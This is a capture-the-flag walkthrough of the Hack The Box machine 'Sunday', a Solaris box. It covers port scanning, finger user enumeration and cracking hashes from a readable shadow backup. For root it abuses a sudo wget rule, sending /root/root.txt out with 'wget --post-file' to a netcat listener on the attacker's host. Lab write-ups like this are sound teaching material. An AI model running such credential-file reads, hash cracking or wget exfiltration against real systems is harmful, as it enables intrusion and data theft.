Sunday Writeup
Introduction :
Sunday is an easy Solaris box that was released back in April 2018.
Part 1 : Initial Enumeration
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
**Ξ» nihilist [ 10.10.14.48/23 ] [~] β nmap -sC -sV -Pn 10.10.10.76**
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-18 05:36 CET
Stats: 0:01:57 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 75.00% done; ETC: 05:38 (0:00:00 remaining)
Nmap scan report for 10.10.10.76
Host is up (0.037s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
**79/tcp open finger Sun Solaris fingerd
|_finger: No one logged on\x0D**
111/tcp open rpcbind
765/tcp filtered webster
1839/tcp filtered netopia-vo1
1998/tcp filtered x25-svc-port
2910/tcp filtered tdaccess
9011/tcp filtered d-star
16018/tcp filtered unknown
54045/tcp filtered unknown
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.78 seconds
Seems like we have alot of ports to work with. let's run another nmap scan, but this time to enumerate all the 65535 ports.
**Ξ» nihilist [ 10.10.14.48/23 ] [~] β nmap -T4 -A -v -p- 10.10.10.76**
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-18 05:37 CET
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 05:37
Completed NSE at 05:37, 0.00s elapsed
Initiating NSE at 05:37
Completed NSE at 05:37, 0.00s elapsed
Initiating NSE at 05:37
Completed NSE at 05:37, 0.00s elapsed
Initiating Ping Scan at 05:37
Scanning 10.10.10.76 [2 ports]
Completed Ping Scan at 05:37, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:37
Completed Parallel DNS resolution of 1 host. at 05:37, 0.01s elapsed
Initiating Connect Scan at 05:37
Scanning 10.10.10.76 [65535 ports]
Discovered open port 111/tcp on 10.10.10.76
Increasing send delay for 10.10.10.76 from 0 to 5 due to 197 out of 492 dropped probes since last increase.
Increasing send delay for 10.10.10.76 from 5 to 10 due to max_successful_tryno increase to 5
Warning: 10.10.10.76 giving up on port because retransmission cap hit (6).
Connect Scan Timing: About 1.74% done; ETC: 06:07 (0:29:08 remaining)
Connect Scan Timing: About 3.72% done; ETC: 06:05 (0:26:17 remaining)
Connect Scan Timing: About 8.36% done; ETC: 06:04 (0:24:51 remaining)
Connect Scan Timing: About 12.54% done; ETC: 06:04 (0:23:29 remaining)
Connect Scan Timing: About 17.15% done; ETC: 06:04 (0:22:04 remaining)
Connect Scan Timing: About 21.93% done; ETC: 06:04 (0:20:43 remaining)
Connect Scan Timing: About 27.43% done; ETC: 06:04 (0:19:21 remaining)
Connect Scan Timing: About 32.63% done; ETC: 06:04 (0:18:00 remaining)
Connect Scan Timing: About 37.81% done; ETC: 06:04 (0:16:38 remaining)
**Discovered open port 22022/tcp on 10.10.10.76
Discovered open port 33890/tcp on 10.10.10.76**
Connect Scan Timing: About 43.04% done; ETC: 06:04 (0:15:15 remaining)
Connect Scan Timing: About 48.19% done; ETC: 06:04 (0:13:53 remaining)
Connect Scan Timing: About 53.48% done; ETC: 06:04 (0:12:33 remaining)
We have found the 22022nd and 33890th port, let's run yet another scan on these two ports to discover what service they are hosting.
Ξ» nihilist [ 10.10.14.48/23 ] [~] β nmap -sC -sV 10.10.10.76 -p 22022,33890
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 09:15 CET
Nmap scan report for 10.10.10.76
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
**22022/tcp open ssh SunSSH 1.3 (protocol 2.0)**
33890/tcp closed unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.14 seconds
Seems like we have a SSH port to work with ! it is running the SunSSH 1.3 protocol.
we will also be looking at the 79th port : fingerd Solaris.
Part 2 : Getting User Access
Let's see what we can do with the 79th port that is running fingerd Solaris. We will be running the finger enumeration script by pentestmonkey : http://pentestmonkey.net/tools/user-enumeration/finger-user-enum
Ξ» root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] β perl finger-user-enum.pl -U rockyou.txt -t 10.10.10.76
######## Scan started at Wed Nov 20 09:58:10 2019 #########
**sammy** @10.10.10.76: sammy pts/2 10.10.14.48
**sunny** @10.10.10.76: sunny pts/3 10.10.14.48
We now have 2 users to work with ! sammy and sunny
Ξ» root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] β **ssh sunny@10.10.10.76 -p 22022**
Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,**diffie-hellman-group1-sha1**
We need to allow a ssh key algorithm exchange method to the 10.10.10.76 host into our ~/.ssh/config file.
Ξ» root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] β echo "**Host 10.10.10.76** " >> ~/.ssh/config
Ξ» root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] β echo "**KexAlgorithms +diffie-hellman-group1-sha1** " >> ~/.ssh/config
Ξ» root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] β **ssh sunny@10.10.10.76 -p 22022**
The authenticity of host '[10.10.10.76]:22022 ([10.10.10.76]:22022)' cant be established.
RSA key fingerprint is SHA256:TmRO9yKIj8Rr/KJIZFXEVswWZB/hic/jAHr78xGp+YU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.76]:22022' (RSA) to the list of known hosts.
Password:
Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4
Sun Microsystems Inc. **SunOS 5.11** snv_111b November 2008
We see that the box is running SunOS 5.11, which is preety old, now we know why we needed to enable the old ssh algorithms for the client.
sunny@sunday:~$ cat /
cat: /: Is a directory
sunny@sunday:~$ CLEAR
-bash: CLEAR: command not found
sunny@sunday:~$
sunny@sunday:~$ cat /home/sunny/user.txt
Here we see that the box is awfully slow and unresponsive.
sunny@sunday:~/Desktop$ cd /export/home/sammy
sunny@sunday:/export/home/sammy$ ls
Desktop Documents Downloads Public
sunny@sunday:/export/home/sammy$ cd Desktop
sunny@sunday:/export/home/sammy/Desktop$ ls
user.txt
sunny@sunday:/export/home/sammy/Desktop$ cat user.txt
cat: user.txt: Permission denied
Navigating to /export/home/sammy/desktop we see that we do not have permissions to read user.txt Our next step is to try to print out /etc/passwd and /backup/shadow.backup
**sunny@sunday:/export/home/sammy/Desktop$ cat user.txt**
cat: user.txt: Permission denied
**sunny@sunday:/export/home/sammy/Desktop$ cat /etc/passwd**
root:x:0:0:Super-User:/root:/usr/bin/bash
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
dladm:x:15:3:Datalink Admin:/:
smmsp:x:25:25:SendMail Message Submission Program:/:
listen:x:37:4:Network Admin:/usr/net/nls:
gdm:x:50:50:GDM Reserved UID:/:
zfssnap:x:51:12:ZFS Automatic Snapshots Reserved UID:/:/usr/bin/pfsh
xvm:x:60:60:xVM User:/:
mysql:x:70:70:MySQL Reserved UID:/:
openldap:x:75:75:OpenLDAP User:/:
webservd:x:80:80:WebServer Reserved UID:/:
postgres:x:90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh
svctag:x:95:12:Service Tag UID:/:
nobody:x:60001:60001:NFS Anonymous Access User:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x NFS Anonymous Access User:/:
sammy:x:101:10:sammy:/export/home/sammy:/bin/bash
sunny:x:65535:1:sunny:/export/home/sunny:/bin/bash
**sunny@sunday:/export/home/sammy/Desktop$ cat /backup/shadow.backup**
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
Looking at the results we see that we have a few things to work with. we will be running the unshadow command onto the combination of the passwd.txt and shadow.txt files. First step is to save them locally, and we will run the command afterwards.
Ξ» nihilist [ 10.10.14.48/23 ] [~] β cd _HTB
Ξ» nihilist [ 10.10.14.48/23 ] [~/_HTB] β cd Sunday
Ξ» nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] β nano passwd.txt
Ξ» nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] β nano shadow.backup
Ξ» nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] β ls
finger-user-enum-1.0 passwd.txt progress.graphml shadow.backup
**Ξ» nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] β unshadow passwd.txt shadow.backup**
Created directory: /home/nihilist/.john
root:x:0:0:Super-User:/root:/usr/bin/bash
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
dladm:x:15:3:Datalink Admin:/:
smmsp:x:25:25:SendMail Message Submission Program:/:
listen:x:37:4:Network Admin:/usr/net/nls:
gdm:x:50:50:GDM Reserved UID:/:
zfssnap:x:51:12:ZFS Automatic Snapshots Reserved UID:/:/usr/bin/pfsh
xvm:x:60:60:xVM User:/:
mysql:NP:70:70:MySQL Reserved UID:/:
openldap:*LK*:75:75:OpenLDAP User:/:
webservd:*LK*:80:80:WebServer Reserved UID:/:
postgres:NP:90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh
svctag:*LK*:95:12:Service Tag UID:/:
nobody:*LK*:60001:60001:NFS Anonymous Access User:/:
noaccess:*LK*:60002:60002:No Access User:/:
nobody4:*LK*:65534:65534:SunOS 4.x NFS Anonymous Access User:/:
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:101:10:sammy:/export/home/sammy:/bin/bash
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:65535:1:sunny:/export/home/sunny:/bin/bash
**Ξ» nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] β unshadow passwd.txt shadow.backup > john_pwd.txt
Ξ» nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] β john john_pwd.txt --wordlist='/usr/share/wordlists/rockyou.txt'**
We use the rockyou.txt wordlist in combination with the john command and we find the password "cooldude!" for the sammy user. Using that we try to log in through SSH once more but this time as the sammy user.
Ξ» root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] β ssh sammy@10.10.10.76 -p 22022
Password:
Last login: Tue Apr 24 12:57:03 2018 from 10.10.14.4
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sammy@sunday:~$ ls
Desktop Documents Downloads Public
sammy@sunday:~$ cd Desktop
sammy@sunday:~/Desktop$ cat user.txt
**a3XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX**
And we have been able to ssh as the sammy user ! We have finally been able to reveal the user flag.
Part 3 : Getting Root Access
First of all we run the sudo -l command to see what we can work with.
sammy@sunday:~/Desktop$ sudo -l
User sammy may run the following commands on this host:
**(root) NOPASSWD: /usr/bin/wget**
Interesting ! We seem to be able to run the wget command as root without any password. Let's run the command netcat command on a second terminal , and we will attempt to print out the root flag using wget's --post-file flag.
Terminal 2:
Ξ» nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] β nc -lvnp **9001**
Terminal 1:
sammy@sunday:~/Desktop$ **sudo wget --post-file=/root/root.txt 10.10.14.48:9001**
--08:49:44-- http://10.10.14.48:9001/
=> `index.html'
Connecting to 10.10.14.48:9001... connected.
HTTP request sent, awaiting response...
Terminal 2:
Ξ» nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] β **nc -lvnp 9001**
Connection from 10.10.10.76:48117
POST / HTTP/1.0
User-Agent: Wget/1.10.2
Accept:
Host: 10.10.14.48:9001
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
**fbXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX**
And that's it ! We have been able to print out the root flag.
Conclusion
Here we can see the progress graph :
Nihilist
Donate XMR to Nihilist:
8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8